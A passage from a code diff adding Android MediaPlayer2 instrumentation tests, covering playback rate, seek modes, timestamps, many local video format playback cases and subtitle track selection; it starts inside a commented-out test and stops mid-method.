+ mOnSeekCompleteCalled.reset();
+ mPlayer.seekTo(0, MediaPlayer2.SEEK_PREVIOUS_SYNC);
+ mOnSeekCompleteCalled.waitForSignal();
+
+ final float playbackRate = 1.0f;
+
+ int playTime = 2000; // The testing clip is about 10 second long.
+ mPlayer.setPlaybackParams(new PlaybackParams().setSpeed(playbackRate));
+ assertTrue("MediaPlayer2 should be playing", mPlayer.isPlaying());
+ Thread.sleep(playTime);
+ assertTrue("MediaPlayer2 should still be playing",
+ mPlayer.getCurrentPosition() > 0);
+
+ long duration = mPlayer.getDuration();
+ mOnSeekCompleteCalled.reset();
+ mPlayer.seekTo(duration - 1000, MediaPlayer2.SEEK_PREVIOUS_SYNC);
+ mOnSeekCompleteCalled.waitForSignal();
+
+ mOnCompletionCalled.waitForSignal();
+ assertFalse("MediaPlayer2 should not be playing", mPlayer.isPlaying());
+ long eosPosition = mPlayer.getCurrentPosition();
+
+ mPlayer.setPlaybackParams(new PlaybackParams().setSpeed(playbackRate));
+ assertTrue("MediaPlayer2 should be playing after EOS", mPlayer.isPlaying());
+ Thread.sleep(playTime);
+ long position = mPlayer.getCurrentPosition();
+ assertTrue("MediaPlayer2 should still be playing after EOS",
+ position > 0 && position < eosPosition);
+
+ mPlayer.reset();
+ }
+ */
+
+ public void testPlaybackRate() throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ final int toleranceMs = 1000;
+ if (!checkLoadResource(
+ R.raw.video_480x360_mp4_h264_1000kbps_30fps_aac_stereo_128kbps_44100hz)) {
+ return; // skip
+ }
+
+ MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+ @Override
+ public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+ if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+ mOnPrepareCalled.signal();
+ }
+ }
+ };
+ synchronized (mEventCbLock) {
+ mEventCallbacks.add(ecb);
+ }
+ mPlayer.setDisplay(mActivity.getSurfaceHolder());
+
+ mOnPrepareCalled.reset();
+ mPlayer.prepare();
+ mOnPrepareCalled.waitForSignal();
+
+ SyncParams sync = new SyncParams().allowDefaults();
+ mPlayer.setSyncParams(sync);
+ sync = mPlayer.getSyncParams();
+
+ float[] rates = { 0.25f, 0.5f, 1.0f, 2.0f };
+ for (float playbackRate : rates) {
+ mPlayer.seekTo(0, MediaPlayer2.SEEK_PREVIOUS_SYNC);
+ Thread.sleep(1000);
+ int playTime = 4000; // The testing clip is about 10 second long.
+ mPlayer.setPlaybackParams(new PlaybackParams().setSpeed(playbackRate));
+ mPlayer.play();
+ Thread.sleep(playTime);
+ PlaybackParams pbp = mPlayer.getPlaybackParams();
+ assertEquals(
+ playbackRate, pbp.getSpeed(),
+ FLOAT_TOLERANCE + playbackRate * sync.getTolerance());
+ assertTrue("MediaPlayer2 should still be playing", mPlayer.isPlaying());
+
+ long playedMediaDurationMs = mPlayer.getCurrentPosition();
+ int diff = Math.abs((int)(playedMediaDurationMs / playbackRate) - playTime);
+ if (diff > toleranceMs) {
+ fail("Media player had error in playback rate " + playbackRate
+ + ", play time is " + playTime + " vs expected " + playedMediaDurationMs);
+ }
+ mPlayer.pause();
+ pbp = mPlayer.getPlaybackParams();
+ // TODO: pause() should NOT change PlaybackParams.
+ // assertEquals(0.f, pbp.getSpeed(), FLOAT_TOLERANCE);
+ }
+ mPlayer.reset();
+ }
+
+ public void testSeekModes() throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ // This clip has 2 I frames at 66687us and 4299687us.
+ if (!checkLoadResource(
+ R.raw.bbb_s1_320x240_mp4_h264_mp2_800kbps_30fps_aac_lc_5ch_240kbps_44100hz)) {
+ return; // skip
+ }
+
+ MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+ @Override
+ public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+ if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+ mOnPrepareCalled.signal();
+ }
+ }
+
+ @Override
+ public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd, int what, int status) {
+ if (what == MediaPlayer2.CALL_COMPLETED_SEEK_TO) {
+ mOnSeekCompleteCalled.signal();
+ }
+ }
+ };
+ synchronized (mEventCbLock) {
+ mEventCallbacks.add(ecb);
+ }
+
+ mPlayer.setDisplay(mActivity.getSurfaceHolder());
+
+ mOnPrepareCalled.reset();
+ mPlayer.prepare();
+ mOnPrepareCalled.waitForSignal();
+
+ mOnSeekCompleteCalled.reset();
+ mPlayer.play();
+
+ final long seekPosMs = 3000;
+ final long timeToleranceMs = 100;
+ final long syncTime1Ms = 67;
+ final long syncTime2Ms = 4300;
+
+ // TODO: tighten checking range. For now, ensure mediaplayer doesn't
+ // seek to previous sync or next sync.
+ long cp = runSeekMode(MediaPlayer2.SEEK_CLOSEST, seekPosMs);
+ assertTrue("MediaPlayer2 did not seek to closest position",
+ cp > seekPosMs && cp < syncTime2Ms);
+
+ // TODO: tighten checking range. For now, ensure mediaplayer doesn't
+ // seek to closest position or next sync.
+ cp = runSeekMode(MediaPlayer2.SEEK_PREVIOUS_SYNC, seekPosMs);
+ assertTrue("MediaPlayer2 did not seek to preivous sync position",
+ cp < seekPosMs - timeToleranceMs);
+
+ // TODO: tighten checking range. For now, ensure mediaplayer doesn't
+ // seek to closest position or previous sync.
+ cp = runSeekMode(MediaPlayer2.SEEK_NEXT_SYNC, seekPosMs);
+ assertTrue("MediaPlayer2 did not seek to next sync position",
+ cp > syncTime2Ms - timeToleranceMs);
+
+ // TODO: tighten checking range. For now, ensure mediaplayer doesn't
+ // seek to closest position or previous sync.
+ cp = runSeekMode(MediaPlayer2.SEEK_CLOSEST_SYNC, seekPosMs);
+ assertTrue("MediaPlayer2 did not seek to closest sync position",
+ cp > syncTime2Ms - timeToleranceMs);
+
+ mPlayer.reset();
+ }
+
+ private long runSeekMode(int seekMode, long seekPosMs) throws Exception {
+ final int sleepIntervalMs = 100;
+ int timeRemainedMs = 10000; // total time for testing
+ final int timeToleranceMs = 100;
+
+ mPlayer.seekTo(seekPosMs, seekMode);
+ mOnSeekCompleteCalled.waitForSignal();
+ mOnSeekCompleteCalled.reset();
+ long cp = -seekPosMs;
+ while (timeRemainedMs > 0) {
+ cp = mPlayer.getCurrentPosition();
+ // Wait till MediaPlayer2 starts rendering since MediaPlayer2 caches
+ // seek position as current position.
+ if (cp < seekPosMs - timeToleranceMs || cp > seekPosMs + timeToleranceMs) {
+ break;
+ }
+ timeRemainedMs -= sleepIntervalMs;
+ Thread.sleep(sleepIntervalMs);
+ }
+ assertTrue("MediaPlayer2 did not finish seeking in time for mode " + seekMode,
+ timeRemainedMs > 0);
+ return cp;
+ }
+
+ public void testGetTimestamp() throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ final int toleranceUs = 100000;
+ final float playbackRate = 1.0f;
+ if (!checkLoadResource(
+ R.raw.video_480x360_mp4_h264_1000kbps_30fps_aac_stereo_128kbps_44100hz)) {
+ return; // skip
+ }
+
+ Monitor onPauseCalled = new Monitor();
+ MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+ @Override
+ public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+ if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+ mOnPrepareCalled.signal();
+ }
+ }
+
+ @Override
+ public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd, int what, int status) {
+ if (what == MediaPlayer2.CALL_COMPLETED_PAUSE) {
+ onPauseCalled.signal();
+ }
+ }
+ };
+ synchronized (mEventCbLock) {
+ mEventCallbacks.add(ecb);
+ }
+
+ mPlayer.setDisplay(mActivity.getSurfaceHolder());
+
+ mOnPrepareCalled.reset();
+ mPlayer.prepare();
+ mOnPrepareCalled.waitForSignal();
+
+ mPlayer.play();
+ mPlayer.setPlaybackParams(new PlaybackParams().setSpeed(playbackRate));
+ Thread.sleep(SLEEP_TIME); // let player get into stable state.
+ long nt1 = System.nanoTime();
+ MediaTimestamp ts1 = mPlayer.getTimestamp();
+ long nt2 = System.nanoTime();
+ assertTrue("Media player should return a valid time stamp", ts1 != null);
+ assertEquals("MediaPlayer2 had error in clockRate " + ts1.getMediaClockRate(),
+ playbackRate, ts1.getMediaClockRate(), 0.001f);
+ assertTrue("The nanoTime of Media timestamp should be taken when getTimestamp is called.",
+ nt1 <= ts1.getAnchorSytemNanoTime() && ts1.getAnchorSytemNanoTime() <= nt2);
+
+ onPauseCalled.reset();
+ mPlayer.pause();
+ onPauseCalled.waitForSignal();
+ ts1 = mPlayer.getTimestamp();
+ assertTrue("Media player should return a valid time stamp", ts1 != null);
+ assertTrue("Media player should have play rate of 0.0f when paused",
+ ts1.getMediaClockRate() == 0.0f);
+
+ mPlayer.seekTo(0, MediaPlayer2.SEEK_PREVIOUS_SYNC);
+ mPlayer.play();
+ Thread.sleep(SLEEP_TIME); // let player get into stable state.
+ int playTime = 4000; // The testing clip is about 10 second long.
+ ts1 = mPlayer.getTimestamp();
+ assertTrue("Media player should return a valid time stamp", ts1 != null);
+ Thread.sleep(playTime);
+ MediaTimestamp ts2 = mPlayer.getTimestamp();
+ assertTrue("Media player should return a valid time stamp", ts2 != null);
+ assertTrue("The clockRate should not be changed.",
+ ts1.getMediaClockRate() == ts2.getMediaClockRate());
+ assertEquals("MediaPlayer2 had error in timestamp.",
+ ts1.getAnchorMediaTimeUs() + (long)(playTime * ts1.getMediaClockRate() * 1000),
+ ts2.getAnchorMediaTimeUs(), toleranceUs);
+
+ mPlayer.reset();
+ }
+
+ public void testLocalVideo_MKV_H265_1280x720_500kbps_25fps_AAC_Stereo_128kbps_44100Hz()
+ throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ playVideoTest(
+ R.raw.video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz, 1280, 720);
+ }
+ public void testLocalVideo_MP4_H264_480x360_500kbps_25fps_AAC_Stereo_128kbps_44110Hz()
+ throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ playVideoTest(
+ R.raw.video_480x360_mp4_h264_500kbps_25fps_aac_stereo_128kbps_44100hz, 480, 360);
+ }
+
+ public void testLocalVideo_MP4_H264_480x360_500kbps_30fps_AAC_Stereo_128kbps_44110Hz()
+ throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ playVideoTest(
+ R.raw.video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz, 480, 360);
+ }
+
+ public void testLocalVideo_MP4_H264_480x360_1000kbps_25fps_AAC_Stereo_128kbps_44110Hz()
+ throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ playVideoTest(
+ R.raw.video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz, 480, 360);
+ }
+
+ public void testLocalVideo_MP4_H264_480x360_1000kbps_30fps_AAC_Stereo_128kbps_44110Hz()
+ throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ playVideoTest(
+ R.raw.video_480x360_mp4_h264_1000kbps_30fps_aac_stereo_128kbps_44100hz, 480, 360);
+ }
+
+ public void testLocalVideo_MP4_H264_480x360_1350kbps_25fps_AAC_Stereo_128kbps_44110Hz()
+ throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ playVideoTest(
+ R.raw.video_480x360_mp4_h264_1350kbps_25fps_aac_stereo_128kbps_44100hz, 480, 360);
+ }
+
+ public void testLocalVideo_MP4_H264_480x360_1350kbps_30fps_AAC_Stereo_128kbps_44110Hz()
+ throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ playVideoTest(
+ R.raw.video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_128kbps_44100hz, 480, 360);
+ }
+
+ public void testLocalVideo_MP4_H264_480x360_1350kbps_30fps_AAC_Stereo_128kbps_44110Hz_frag()
+ throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ playVideoTest(
+ R.raw.video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_128kbps_44100hz_fragmented,
+ 480, 360);
+ }
+
+
+ public void testLocalVideo_MP4_H264_480x360_1350kbps_30fps_AAC_Stereo_192kbps_44110Hz()
+ throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ playVideoTest(
+ R.raw.video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz, 480, 360);
+ }
+
+ public void testLocalVideo_3gp_H263_176x144_56kbps_12fps_AAC_Mono_24kbps_11025Hz()
+ throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ playVideoTest(
+ R.raw.video_176x144_3gp_h263_56kbps_12fps_aac_mono_24kbps_11025hz, 176, 144);
+ }
+
+ public void testLocalVideo_3gp_H263_176x144_56kbps_12fps_AAC_Mono_24kbps_22050Hz()
+ throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ playVideoTest(
+ R.raw.video_176x144_3gp_h263_56kbps_12fps_aac_mono_24kbps_22050hz, 176, 144);
+ }
+
+ public void testLocalVideo_3gp_H263_176x144_56kbps_12fps_AAC_Stereo_24kbps_11025Hz()
+ throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ playVideoTest(
+ R.raw.video_176x144_3gp_h263_56kbps_12fps_aac_stereo_24kbps_11025hz, 176, 144);
+ }
+
+ public void testLocalVideo_3gp_H263_176x144_56kbps_12fps_AAC_Stereo_24kbps_22050Hz()
+ throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ playVideoTest(
+ R.raw.video_176x144_3gp_h263_56kbps_12fps_aac_stereo_24kbps_11025hz, 176, 144);
+ }
+
+ public void testLocalVideo_3gp_H263_176x144_56kbps_12fps_AAC_Stereo_128kbps_11025Hz()
+ throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ playVideoTest(
+ R.raw.video_176x144_3gp_h263_56kbps_12fps_aac_stereo_128kbps_11025hz, 176, 144);
+ }
+
+ public void testLocalVideo_3gp_H263_176x144_56kbps_12fps_AAC_Stereo_128kbps_22050Hz()
+ throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ playVideoTest(
+ R.raw.video_176x144_3gp_h263_56kbps_12fps_aac_stereo_128kbps_11025hz, 176, 144);
+ }
+
+ public void testLocalVideo_3gp_H263_176x144_56kbps_25fps_AAC_Mono_24kbps_11025Hz()
+ throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ playVideoTest(
+ R.raw.video_176x144_3gp_h263_56kbps_25fps_aac_mono_24kbps_11025hz, 176, 144);
+ }
+
+ public void testLocalVideo_3gp_H263_176x144_56kbps_25fps_AAC_Mono_24kbps_22050Hz()
+ throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ playVideoTest(
+ R.raw.video_176x144_3gp_h263_56kbps_25fps_aac_mono_24kbps_22050hz, 176, 144);
+ }
+
+ public void testLocalVideo_3gp_H263_176x144_56kbps_25fps_AAC_Stereo_24kbps_11025Hz()
+ throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ playVideoTest(
+ R.raw.video_176x144_3gp_h263_56kbps_25fps_aac_stereo_24kbps_11025hz, 176, 144);
+ }
+
+ public void testLocalVideo_3gp_H263_176x144_56kbps_25fps_AAC_Stereo_24kbps_22050Hz()
+ throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ playVideoTest(
+ R.raw.video_176x144_3gp_h263_56kbps_25fps_aac_stereo_24kbps_11025hz, 176, 144);
+ }
+
+ public void testLocalVideo_3gp_H263_176x144_56kbps_25fps_AAC_Stereo_128kbps_11025Hz()
+ throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ playVideoTest(
+ R.raw.video_176x144_3gp_h263_56kbps_25fps_aac_stereo_128kbps_11025hz, 176, 144);
+ }
+
+ public void testLocalVideo_3gp_H263_176x144_56kbps_25fps_AAC_Stereo_128kbps_22050Hz()
+ throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ playVideoTest(
+ R.raw.video_176x144_3gp_h263_56kbps_25fps_aac_stereo_128kbps_11025hz, 176, 144);
+ }
+
+ public void testLocalVideo_3gp_H263_176x144_300kbps_12fps_AAC_Mono_24kbps_11025Hz()
+ throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ playVideoTest(
+ R.raw.video_176x144_3gp_h263_300kbps_12fps_aac_mono_24kbps_11025hz, 176, 144);
+ }
+
+ public void testLocalVideo_3gp_H263_176x144_300kbps_12fps_AAC_Mono_24kbps_22050Hz()
+ throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ playVideoTest(
+ R.raw.video_176x144_3gp_h263_300kbps_12fps_aac_mono_24kbps_22050hz, 176, 144);
+ }
+
+ public void testLocalVideo_3gp_H263_176x144_300kbps_12fps_AAC_Stereo_24kbps_11025Hz()
+ throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ playVideoTest(
+ R.raw.video_176x144_3gp_h263_300kbps_12fps_aac_stereo_24kbps_11025hz, 176, 144);
+ }
+
+ public void testLocalVideo_3gp_H263_176x144_300kbps_12fps_AAC_Stereo_24kbps_22050Hz()
+ throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ playVideoTest(
+ R.raw.video_176x144_3gp_h263_300kbps_12fps_aac_stereo_24kbps_11025hz, 176, 144);
+ }
+
+ public void testLocalVideo_3gp_H263_176x144_300kbps_12fps_AAC_Stereo_128kbps_11025Hz()
+ throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ playVideoTest(
+ R.raw.video_176x144_3gp_h263_300kbps_12fps_aac_stereo_128kbps_11025hz, 176, 144);
+ }
+
+ public void testLocalVideo_3gp_H263_176x144_300kbps_12fps_AAC_Stereo_128kbps_22050Hz()
+ throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ playVideoTest(
+ R.raw.video_176x144_3gp_h263_300kbps_12fps_aac_stereo_128kbps_11025hz, 176, 144);
+ }
+
+ public void testLocalVideo_3gp_H263_176x144_300kbps_25fps_AAC_Mono_24kbps_11025Hz()
+ throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ playVideoTest(
+ R.raw.video_176x144_3gp_h263_300kbps_25fps_aac_mono_24kbps_11025hz, 176, 144);
+ }
+
+ public void testLocalVideo_3gp_H263_176x144_300kbps_25fps_AAC_Mono_24kbps_22050Hz()
+ throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ playVideoTest(
+ R.raw.video_176x144_3gp_h263_300kbps_25fps_aac_mono_24kbps_22050hz, 176, 144);
+ }
+
+ public void testLocalVideo_3gp_H263_176x144_300kbps_25fps_AAC_Stereo_24kbps_11025Hz()
+ throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ playVideoTest(
+ R.raw.video_176x144_3gp_h263_300kbps_25fps_aac_stereo_24kbps_11025hz, 176, 144);
+ }
+
+ public void testLocalVideo_3gp_H263_176x144_300kbps_25fps_AAC_Stereo_24kbps_22050Hz()
+ throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ playVideoTest(
+ R.raw.video_176x144_3gp_h263_300kbps_25fps_aac_stereo_24kbps_11025hz, 176, 144);
+ }
+
+ public void testLocalVideo_3gp_H263_176x144_300kbps_25fps_AAC_Stereo_128kbps_11025Hz()
+ throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ playVideoTest(
+ R.raw.video_176x144_3gp_h263_300kbps_25fps_aac_stereo_128kbps_11025hz, 176, 144);
+ }
+
+ public void testLocalVideo_3gp_H263_176x144_300kbps_25fps_AAC_Stereo_128kbps_22050Hz()
+ throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ playVideoTest(
+ R.raw.video_176x144_3gp_h263_300kbps_25fps_aac_stereo_128kbps_22050hz, 176, 144);
+ }
+
+ private void readSubtitleTracks() throws Exception {
+ mSubtitleTrackIndex.clear();
+ List<MediaPlayer2.TrackInfo> trackInfos = mPlayer.getTrackInfo();
+ if (trackInfos == null || trackInfos.size() == 0) {
+ return;
+ }
+
+ Vector<Integer> subtitleTrackIndex = new Vector<>();
+ for (int i = 0; i < trackInfos.size(); ++i) {
+ assertTrue(trackInfos.get(i) != null);
+ if (trackInfos.get(i).getTrackType() ==
+ MediaPlayer2.TrackInfo.MEDIA_TRACK_TYPE_SUBTITLE) {
+ subtitleTrackIndex.add(i);
+ }
+ }
+
+ mSubtitleTrackIndex.addAll(subtitleTrackIndex);
+ }
+
+ private void selectSubtitleTrack(int index) throws Exception {
+ int trackIndex = mSubtitleTrackIndex.get(index);
+ mPlayer.selectTrack(trackIndex);
+ mSelectedSubtitleIndex = index;
+ }
+
+ private void deselectSubtitleTrack(int index) throws Exception {
+ int trackIndex = mSubtitleTrackIndex.get(index);
+ mOnDeselectTrackCalled.reset();
+ mPlayer.deselectTrack(trackIndex);
+ mOnDeselectTrackCalled.waitForSignal();
+ if (mSelectedSubtitleIndex == index) {
+ mSelectedSubtitleIndex = -1;
+ }
+ }
+
+ public void testDeselectTrackForSubtitleTracks() throws Throwable {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ if (!checkLoadResource(R.raw.testvideo_with_2_subtitle_tracks)) {
+ return; // skip;
+ }
+
+ getInstrumentation().waitForIdleSync();
+
+ MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+ @Override
+ public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+ if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+ mOnPrepareCalled.signal();
+ } else if (what == MediaPlayer2.MEDIA_INFO_METADATA_UPDATE) {
+ mOnInfoCalled.signal();
+ }
+ }
+
+ @Override
+ public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd, int what, int status) {
+ if (what == MediaPlayer2.CALL_COMPLETED_SEEK_TO) {
+ mOnSeekCompleteCalled.signal();
+ } else if (what == MediaPlayer2.CALL_COMPLETED_PLAY) {
+ mOnPlayCalled.signal();
+ } else if (what == MediaPlayer2.CALL_COMPLETED_DESELECT_TRACK) {
+ mCallStatus = status;
+ mOnDeselectTrackCalled.signal();
+ }
+ }
+ };
+ synchronized (mEventCbLock) {
+ mEventCallbacks.add(ecb);
+ }
+
+ mPlayer.setOnSubtitleDataListener(new MediaPlayer2.OnSubtitleDataListener() {
+ @Override
+ public void onSubtitleData(MediaPlayer2 mp, SubtitleData data) {
+ if (data != null && data.getData() != null) {
+ mOnSubtitleDataCalled.signal();
+ }
+ }
+ });
+
+ mPlayer.setDisplay(getActivity().getSurfaceHolder());
+ mPlayer.setScreenOnWhilePlaying(true);
+ mPlayer.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+
+ mOnPrepareCalled.reset();
+ mPlayer.prepare();
+ mOnPrepareCalled.waitForSignal();
+
+ mOnPlayCalled.reset();
+ mPlayer.play();
+ mOnPlayCalled.waitForSignal();
+ assertTrue(mPlayer.isPlaying());
+
+ // Closed caption tracks are in-band.
+ // So, those tracks will be found after processing a number of frames.
+ mOnInfoCalled.waitForSignal(1500);
+
+ mOnInfoCalled.reset();
+ mOnInfoCalled.waitForSignal(1500);
+
+ readSubtitleTracks();
+
+ // Run twice to check if repeated selection-deselection on the same track works well.
+ for (int i = 0; i < 2; i++) {
+ // Waits until at least one subtitle is fired. Timeout is 2.5 seconds.
+ selectSubtitleTrack(i);
+ mOnSubtitleDataCalled.reset();
+ assertTrue(mOnSubtitleDataCalled.waitForSignal(2500));
+
+ // Try deselecting track.
+ deselectSubtitleTrack(i);
+ mOnSubtitleDataCalled.reset();
+ assertFalse(mOnSubtitleDataCalled.waitForSignal(1500));
+ }
+
+ // Deselecting unselected track: expected error status
+ mCallStatus = MediaPlayer2.CALL_STATUS_NO_ERROR;
+ deselectSubtitleTrack(0);
+ assertTrue(mCallStatus != MediaPlayer2.CALL_STATUS_NO_ERROR);
+
+ mPlayer.reset();
+ }
+
+ public void testChangeSubtitleTrack() throws Throwable {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ if (!checkLoadResource(R.raw.testvideo_with_2_subtitle_tracks)) {
+ return; // skip;
+ }
+
+ mPlayer.setOnSubtitleDataListener(new MediaPlayer2.OnSubtitleDataListener() {
+ @Override
+ public void onSubtitleData(MediaPlayer2 mp, SubtitleData data) {
+ if (data != null && data.getData() != null) {
+ mOnSubtitleDataCalled.signal();
+ }
+ }
+ });
+
+ MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+ @Override
+ public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+ if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+ mOnPrepareCalled.signal();
+ } else if (what == MediaPlayer2.MEDIA_INFO_METADATA_UPDATE) {
+ mOnInfoCalled.signal();
+ }
+ }
+
+ @Override
+ public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd, int what, int status) {
+ if (what == MediaPlayer2.CALL_COMPLETED_PLAY) {
+ mOnPlayCalled.signal();
+ }
+ }
+ };
+ synchronized (mEventCbLock) {
+ mEventCallbacks.add(ecb);
+ }
+
+ mPlayer.setDisplay(getActivity().getSurfaceHolder());
+ mPlayer.setScreenOnWhilePlaying(true);
+ mPlayer.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+
+ mOnPrepareCalled.reset();
+ mPlayer.prepare();
+ mOnPrepareCalled.waitForSignal();
+
+ mOnPlayCalled.reset();
+ mPlayer.play();
+ mOnPlayCalled.waitForSignal();
+ assertTrue(mPlayer.isPlaying());
+
+ // Closed caption tracks are in-band.
+ // So, those tracks will be found after processing a number of frames.
+ mOnInfoCalled.waitForSignal(1500);
+
+ mOnInfoCalled.reset();
+ mOnInfoCalled.waitForSignal(1500);
+
+ readSubtitleTracks();
+
+ // Waits until at least two captions are fired. Timeout is 2.5 sec.
+ selectSubtitleTrack(0);
+ assertTrue(mOnSubtitleDataCalled.waitForCountedSignals(2, 2500) >= 2);
+
+ mOnSubtitleDataCalled.reset();
+ selectSubtitleTrack(1);
+ assertTrue(mOnSubtitleDataCalled.waitForCountedSignals(2, 2500) >= 2);
+
+ mPlayer.reset();
+ }
+
+ public void testGetTrackInfoForVideoWithSubtitleTracks() throws Throwable {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ if (!checkLoadResource(R.raw.testvideo_with_2_subtitle_tracks)) {
+ return; // skip;
+ }
+
+ getInstrumentation().waitForIdleSync();
+
+ MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+ @Override
+ public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+ if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+ mOnPrepareCalled.signal();
+ } else if (what == MediaPlayer2.MEDIA_INFO_METADATA_UPDATE) {
+ mOnInfoCalled.signal();
+ }
+ }
+
+ @Override
+ public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd, int what, int status) {
+ if (what == MediaPlayer2.CALL_COMPLETED_PLAY) {
+ mOnPlayCalled.signal();
+ }
+ }
+ };
+ synchronized (mEventCbLock) {
+ mEventCallbacks.add(ecb);
+ }
+
+ mPlayer.setDisplay(getActivity().getSurfaceHolder());
+ mPlayer.setScreenOnWhilePlaying(true);
+ mPlayer.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+
+ mOnPrepareCalled.reset();
+ mPlayer.prepare();
+ mOnPrepareCalled.waitForSignal();
+
+ mOnPlayCalled.reset();
+ mPlayer.play();
+ mOnPlayCalled.waitForSignal();
+ assertTrue(mPlayer.isPlaying());
+
+ // The media metadata will be changed while playing since closed caption tracks are in-band
+ // and those tracks will be found after processing a number of frames. These tracks will be
+ // found within one second.
+ mOnInfoCalled.waitForSignal(1500);
+
+ mOnInfoCalled.reset();
+ mOnInfoCalled.waitForSignal(1500);
+
+ readSubtitleTracks();
+ assertEquals(2, mSubtitleTrackIndex.size());
+
+ mPlayer.reset();
+ }
+
+ /*
+ * This test assumes the resources being tested are between 8 and 14 seconds long
+ * The ones being used here are 10 seconds long.
+ */
+ public void testResumeAtEnd() throws Throwable {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ int testsRun =
+ testResumeAtEnd(R.raw.loudsoftmp3) +
+ testResumeAtEnd(R.raw.loudsoftwav) +
+ testResumeAtEnd(R.raw.loudsoftogg) +
+ testResumeAtEnd(R.raw.loudsoftitunes) +
+ testResumeAtEnd(R.raw.loudsoftfaac) +
+ testResumeAtEnd(R.raw.loudsoftaac);
+ if (testsRun == 0) {
+ MediaUtils.skipTest("no decoder found");
+ }
+ }
+
+ // returns 1 if test was run, 0 otherwise
+ private int testResumeAtEnd(int res) throws Throwable {
+ if (!loadResource(res)) {
+ Log.i(LOG_TAG, "testResumeAtEnd: No decoder found for " +
+ mContext.getResources().getResourceEntryName(res) +
+ " --- skipping.");
+ return 0; // skip
+ }
+ mOnCompletionCalled.reset();
+ MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+ @Override
+ public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+ if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+ mOnPrepareCalled.signal();
+ } else if (what == MediaPlayer2.MEDIA_INFO_PLAYBACK_COMPLETE) {
+ mOnCompletionCalled.signal();
+ mPlayer.play();
+ }
+ }
+ };
+ mPlayer.setMediaPlayer2EventCallback(mExecutor, ecb);
+
